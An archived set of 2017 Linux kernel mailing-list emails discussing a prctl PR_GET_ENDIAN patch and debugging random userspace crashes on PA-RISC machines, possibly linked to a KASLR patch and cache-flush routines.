        Michael Kerrisk <mtk.manpages-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Feb 01 20:47:18 2017
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1cZ0sA-0005G5-8l
	for glka-linux-api@m.gmane.org; Wed, 01 Feb 2017 20:47:18 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1752148AbdBATrX (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
        Wed, 1 Feb 2017 14:47:23 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:52098 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752145AbdBATrW (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Wed, 1 Feb 2017 14:47:22 -0500
Original-Received: from [192.168.20.60] ([92.203.54.35]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MCtut-1chV2u1sLz-009eWK; Wed, 01
 Feb 2017 20:47:07 +0100
In-Reply-To: <20170131162624.5a85ec47c6ee22e5cc03c4eb-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
X-Provags-ID: V03:K0:PHxqM/nzqJxeKEaKZtygYMTudm7cQzqqBm/32yY1r9NhvAzYGzY
 rHAoHiSatVBPtTCo8JGmrTWJvoBP1+hSLg2yu2ISRc1LZM/q40ijnnpWw3TZTHk3yKGpqNJ
 mCt+JmV1C6mKfi9GTTLcjGKja1+UVwbYBTf4mL+ObPoq2zXSw8RPT8BL2XY3x1H7/gSrclD
 L/mX8jan76MQY1wZ4yu2A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:HBVLoN2ulOw=:J7lOkZHVdOd2doSZ/2sGWF
 b7J8Rh7Wh1FJGjGrW19eUhl2hgxhiuKdocjj2pP6XlypEr5BRmAGLm+/cXJ12i9IyQ8JPdNDM
 T1RDeA39G9TsFXwxVYQabvaRU6dgBURw9WzjgeGBTIF1LpHD16oPkLbcQEy8hbUTlGxghl9q8
 u0CQ7fXn/U1wUxc4C5bgq2czkWKJ/Tq4obtgCrnbqBUjNcwlwAd98SWqznm3n/Gt+wk7IwzHf
 wMzfX7cl7uO5owSTZlLj/l/BWP++vSy2+UPwaDO1csxhYNCFekgc1zcBitMBwYqnbZKpX4rYy
 Zf/ox3T6yLKVOMkDBDZ2WjLVKDmlE0qONccOIM5qmGTAjhngYxokQysgmWTr42T36v2pFcDTo
 FJpdGHz6VQgM6IolN/zTXhPnD1mr4wGnkLHVz+8OWvzc7C7V3fEDIa7aI+IacBvKMo8xNNw5e
 I1mMiC+9jNkIaVohRtUhwxIszg32WWWg+4bAow06HFZ5uP6b+q1Wfe6ZdVyjqbh5h8z1SOEj/
 7MfF1g87hIgwh9xE/s/J19zMz+RMvegRIzIw2L8qcwP0uBtTp+lIWZlwRrGkQXfln7SNxeeM5
 H5uoHzPpX6uk2/smeWL8Z2tLowwSmi864Vm1VAtd+IM8l/X5pPse4L6Q5ykh6smRU9Bc9OOwF
 hGHeX1YMly+wkLci7G9rxcQjjMnQQspb+0mOlJKTBpIigWiw6Gmkt4K/2iqykPy1TTQW8ggGO
 noI2Z3aOBaPai6+15cWo2ZLFigWdBKj7jlGpjEtK1LKvlkrbHrbVQ8UvcipKaxyFWTxaosRV 
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:22154 gmane.linux.kernel:2401535 gmane.linux.ports.parisc:27237
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/22154>

Hi Andrew,

On 01.02.2017 01:26, Andrew Morton wrote:
> On Sat, 28 Jan 2017 12:13:10 +0100 Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
> 
>> The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
>> implemented for PowerPC only.
>> This trivial patch adds support for this syscall for all other architectures.
> 
> Seems reasonable.  I guess.

Heck, I did forgot but I submitted a similar patch 8 years ago:
http://www.serverphorums.com/read.php?12,51902

> Why is this needed?

It's not actually needed beside the trivial reason of providing an interface
not just for one single architecture.

After reading the discussion from 2009 again, I'm fine if 
you would simply drop the patch. The decision up to you.

> The man page will need updating.  It says "PowerPC only".

In case you would include the patch I'd send patches to update
the manpage.

Thanks,
Helge

>> diff --git a/kernel/sys.c b/kernel/sys.c
>> index 842914e..5818e5e 100644
>> --- a/kernel/sys.c
>> +++ b/kernel/sys.c
>> @@ -79,9 +79,6 @@
>>  #ifndef GET_FPEXC_CTL
>>  # define GET_FPEXC_CTL(a, b)	(-EINVAL)
>>  #endif
>> -#ifndef GET_ENDIAN
>> -# define GET_ENDIAN(a, b)	(-EINVAL)
>> -#endif
>>  #ifndef SET_ENDIAN
>>  # define SET_ENDIAN(a, b)	(-EINVAL)
>>  #endif
>> @@ -2136,7 +2133,13 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
>>  			return -EFAULT;
>>  		break;
>>  	case PR_GET_ENDIAN:
>> +#ifdef GET_ENDIAN
>>  		error = GET_ENDIAN(me, arg2);
>> +#elif defined(__BIG_ENDIAN)
>> +		error = put_user(PR_ENDIAN_BIG, (unsigned int __user *)arg2);
>> +#else
>> +		error = put_user(PR_ENDIAN_LITTLE, (unsigned int __user *)arg2);
>> +#endif
>>  		break;
>>  	case PR_SET_ENDIAN:
>>  		error = SET_ENDIAN(me, arg2);


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Wed, 1 Feb 2017 20:54:57 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485978906 18989 195.159.176.226 (1 Feb 2017 19:55:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 19:55:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 20:55:01 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ0zd-0002HK-EK
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 20:55:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752421AbdBATzH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 14:55:07 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:55399 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752181AbdBATzG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 14:55:06 -0500
Original-Received: from [192.168.20.60] ([92.203.54.35]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MaJPk-1cssGJ0MjA-00Jq2c; Wed, 01
 Feb 2017 20:54:59 +0100
In-Reply-To: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:8WWYJNARPa3wubUl+DrXxn+SQct9PDkQpMvA94z6v6Q2pFviiwg
 bsSfeODWziWs9D5iWbj+NDUE4vdeDsnOcW/ZR/DsXrg7QjxSLEL29hJRHloBscP8Ji9i8rY
 u7p2jVrskHoSnOLuQ5GMo3KnqcG+kq7y8BsJzzN40+gaB54sfHUWeU88nSPVZdZHcJi5cpf
 cu3pmKLNjvxmvec8hLTTA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0j2rG4zOPCA=:DkiY5L/cqtVwIs8kdGndj/
 W69/20OZbM5fBCHZ+IX/zWyw5ms8EZYIF0/vANMPhVfMmC7VrYBqQ/FcdodcWQU6Qvz5VdtqY
 rJGKqmpRr+3il9B2+ZyyfMBnAIqH3hwf3pbcC8zRtuEr6JsCmzSPQhrTR7WSEdVC7K9EkWltv
 YvuOi6eWyv+YZ5ERDK76FyWIYt8PHSV5m84ytifUS5pBRThJZTI0U37pWX3OaiDy9K9xH/qtI
 f6MPUapq9h4+zPORO/Nz/DY3StbpozA3s1G2ac7ryibLs0vOP5rzSE+CFvkiT6w2Rzm7ozkME
 W74quA88KzzSuf4W7Stu2RbIuC2heBdgZj1TqfvZ1PL2/XV5UhPfqtrggRoL9KRw8t5DmSwjU
 6wk6OwF67rHTYP3cDET2slYQpLxfFKsaGgA+a5SpsGEpinhZW1TVrNIX84lr8C1QAWYI+ahJq
 Jn8t028xODKyjPbM24K3OfUobBR6jwUYgR9H6N5OypnihdfvC0EOLnV/IqSm1SK89QhvfmmBW
 cnNUuR65Vug0+zj1NNGRPcZbIOrH1bNRX/iKkspq8ejWNaQoU2cgkhzYL+VmlB7y4UvwygHQ4
 Byx81CBBzEVkTTSXhvsfGYON/iWXtQc8fwCGLq3utbuVHVclc/7BFgHP+vgOVbQWKJ2V4lOHq
 +kC6wmdPszqm16xNBsQfWn7lGpm16Tovrcwdr+41iWVv+yw2Jt8CdXa19tiK9Kp+oMQ65K32Y
 DGFcpBHSw73OaYU0KXNfiLNXyGFFIzz8gQmrELZGeLUXtNy6LwyDsFfX5vovEDatlFtIinKP 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27238>

Hi Mikulas,

On 01.02.2017 18:37, Mikulas Patocka wrote:
> I had some crashes on parisc with the kernel 4.10 and I tracked them to 
> the patch 18d98a79382cbe5a7569788d5b7b18e7015506f2 "parisc: Enable KASLR".

If the patch is really guilty, then it's probably best to revert it
before 4.10 gets released, but...

> The crashes can be reproduced by compiling kernel in a loop - a crash 
> happens in a few hours. I have a C8000 workstation with two dual-core 
> PA8900 CPUs.
> 
> The kernel 4.9 is stable, 4.9 with the patch 18d98a79 isn't.

I'm not 100% convinced that 4.9 is fully stable and that the patch
is the reason for the crashes you see.
What kind of crashes do you see? Userspace or kernel ?
I know we still face random userspace crashes which happen with plain kernel 4.9/stable too.
Dave is still trying various patches to resolve those crashes.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Wed, 1 Feb 2017 15:10:01 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1702011507040.25889@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com> <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1485979808 3736 195.159.176.226 (1 Feb 2017 20:10:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 20:10:08 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 21:10:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ1E6-0006BE-Cq
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 21:09:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751263AbdBAUKE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 15:10:04 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:56086 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751192AbdBAUKD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 15:10:03 -0500
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 56EA33B702;
        Wed,  1 Feb 2017 20:10:04 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id v11KA3QS015374
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
        Wed, 1 Feb 2017 15:10:04 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id v11KA3F9026626;
        Wed, 1 Feb 2017 15:10:03 -0500
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id v11KA1i1026622;
        Wed, 1 Feb 2017 15:10:03 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.30]); Wed, 01 Feb 2017 20:10:04 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27239>



On Wed, 1 Feb 2017, Helge Deller wrote:

> Hi Mikulas,
> 
> On 01.02.2017 18:37, Mikulas Patocka wrote:
> > I had some crashes on parisc with the kernel 4.10 and I tracked them to 
> > the patch 18d98a79382cbe5a7569788d5b7b18e7015506f2 "parisc: Enable KASLR".
> 
> If the patch is really guilty, then it's probably best to revert it
> before 4.10 gets released, but...
> 
> > The crashes can be reproduced by compiling kernel in a loop - a crash 
> > happens in a few hours. I have a C8000 workstation with two dual-core 
> > PA8900 CPUs.
> > 
> > The kernel 4.9 is stable, 4.9 with the patch 18d98a79 isn't.
> 
> I'm not 100% convinced that 4.9 is fully stable and that the patch
> is the reason for the crashes you see.
> What kind of crashes do you see? Userspace or kernel ?

Userspace crashes. Random crashes or internal errors in gcc when compiling 
the kernel. I once had "aptitude" crash.

> I know we still face random userspace crashes which happen with plain kernel 4.9/stable too.
> Dave is still trying various patches to resolve those crashes.

Is 4.8 stable for you?

> Helge

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Wed, 1 Feb 2017 14:03:22 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20170201140322.b469641861861caf8cf6da48@linux-foundation.org>
References: <20170128111310.GA13389@ls3530.fritz.box>
        <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
        <7c60f97a-4b63-5eff-e837-186f9a31c5a2@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485986606 8865 195.159.176.226 (1 Feb 2017 22:03:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 22:03:26 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Michael Kerrisk <mtk.manpages-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Feb 01 23:03:22 2017
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1cZ2zq-00027K-8G
	for glka-linux-api@m.gmane.org; Wed, 01 Feb 2017 23:03:22 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1751930AbdBAWDY (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
        Wed, 1 Feb 2017 17:03:24 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:39256 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751601AbdBAWDY (ORCPT
        <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 1 Feb 2017 17:03:24 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [104.132.1.73])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 6F8E895E;
        Wed,  1 Feb 2017 22:03:23 +0000 (UTC)
In-Reply-To: <7c60f97a-4b63-5eff-e837-186f9a31c5a2-Mmb7MZpHnFY@public.gmane.org>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:22155 gmane.linux.kernel:2401623 gmane.linux.ports.parisc:27240
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/22155>

On Wed, 1 Feb 2017 20:47:06 +0100 Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:

> Hi Andrew,
> 
> On 01.02.2017 01:26, Andrew Morton wrote:
> > On Sat, 28 Jan 2017 12:13:10 +0100 Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
> > 
> >> The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
> >> implemented for PowerPC only.
> >> This trivial patch adds support for this syscall for all other architectures.
> > 
> > Seems reasonable.  I guess.
> 
> Heck, I did forgot but I submitted a similar patch 8 years ago:
> http://www.serverphorums.com/read.php?12,51902
> 
> > Why is this needed?
> 
> It's not actually needed beside the trivial reason of providing an interface
> not just for one single architecture.
> 
> After reading the discussion from 2009 again, I'm fine if 
> you would simply drop the patch. The decision up to you.

Can't decide.  I guess that moving it into the kernel will, over time,
eliminate some irritating ifdefs from userspace code.

The implementation itself is a bit half-assed.  The put_user() in
arch/powerpc/kernel/process.c:get_endian() should be moved into
kernel/sys.c.  So the arch code only does the "what endianness am I"
function and common code copies that out to userspace.



From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Wed, 1 Feb 2017 16:12:20 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <53b0b36a-32cd-2421-7d45-0c8ea8cc1ac1@bell.net>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com>
 <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
 <alpine.LRH.2.02.1702011507040.25889@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485987536 1537 195.159.176.226 (1 Feb 2017 22:18:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 22:18:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.7.0
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 23:18:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ3En-0007QB-Gq
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 23:18:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752790AbdBAWSz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 17:18:55 -0500
Original-Received: from belmont94srvr.owm.bell.net ([184.150.200.94]:55194 "EHLO
        mtlfep06.bell.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752560AbdBAWSy (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 17:18:54 -0500
X-Greylist: delayed 3993 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Feb 2017 17:18:54 EST
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170201211220.KEDZ24478.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 1 Feb 2017 16:12:20 -0500
Original-Received: from [192.168.0.125] (really [65.93.111.10]) by mtlspm01.bell.net
          with ESMTP
          id <20170201211219.GSTY8302.mtlspm01.bell.net@[192.168.0.125]>;
          Wed, 1 Feb 2017 16:12:19 -0500
In-Reply-To: <alpine.LRH.2.02.1702011507040.25889@file01.intranet.prod.int.rdu2.redhat.com>
X-Cloudmark-Analysis: v=2.2 cv=G/LzK5s5 c=1 sm=0 tr=0 a=tM86NC7ogY5cv29f+PEiQw==:17 a=N659UExz7-8A:10 a=n2v9WMKugxEA:10 a=xNf9USuDAAAA:8 a=FBHGMhGWAAAA:8 a=3akyOlS9WaOsi0IctWsA:9 a=pILNOxqGKmIA:10 a=jYJgLHWX644A:10 a=SEwjQc04WA-l_NiBhQ7s:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27241>

On 2017-02-01 3:10 PM, Mikulas Patocka wrote:
>> I'm not 100% convinced that 4.9 is fully stable and that the patch
>> is the reason for the crashes you see.
>> What kind of crashes do you see? Userspace or kernel ?
> Userspace crashes. Random crashes or internal errors in gcc when compiling
> the kernel. I once had "aptitude" crash.
The userspace crashes are present in 4.8 and 4.9 as well.  For example, 
this build failed due to an OS problem:
https://buildd.debian.org/status/fetch.php?pkg=kdenlive&arch=hppa&ver=16.12.1-2&stamp=1485956026&raw=0

Probably, 10% or more large packages fail to build because of this. Note 
that this only occurs on machines
(e.g., c8000) that only support equivalent aliases.  We don't see this 
on the parisc buildd which has two PA8600 CPUs.

My current theory is the following functions are buggy:

/* vmap range flushes and invalidates.  Architecturally, we don't need
  * the invalidate, because the CPU should refuse to speculate once an
  * area has been flushed, so invalidate is left empty */
static inline void flush_kernel_vmap_range(void *vaddr, int size)
{
         unsigned long start = (unsigned long)vaddr;

         flush_kernel_dcache_range_asm(start, start + size);
}
static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
{
         unsigned long start = (unsigned long)vaddr;
         void *cursor = vaddr;

         for ( ; cursor < vaddr + size; cursor += PAGE_SIZE) {
                 struct page *page = vmalloc_to_page(cursor);

                 if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
                         flush_kernel_dcache_page(page);
         }
         flush_kernel_dcache_range_asm(start, start + size);
}

The kernel sets up a vmap range for I/O and we have non equivalent 
aliases to the offset map
pages.  I know the PG_dcache_dirty is never set when these routines are 
called, so the for loop
does nothing.  Nuking the whole data cache appears to fix the 
application errors but my test
was cut short by a second problem.  No one else seems to do anything 
with offset map, so
we might have a parisc specific driver problem.

We also have a down_read/up_read problem where applications stall 
forever and are not killable
(D state in top).  Some seemed related to signal processing but they 
have occurred in other
situations as well.  They seem more prevalent.  For example, I can't 
remember this happening
with 3.18 branch.  This problem seems to be triggered by application 
tests involving multiple
threads (glibc, gcc go and libgomp, and mariadb).

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Thu, 2 Feb 2017 00:29:10 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20170201222910.yiqudzurzwcjqyw7@raspberrypi-3.musicnaut.iki.fi>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com>
 <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1485988536 1625 195.159.176.226 (1 Feb 2017 22:35:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 22:35:36 +0000 (UTC)
User-Agent: NeoMutt/20161126 (1.7.1)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 23:35:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
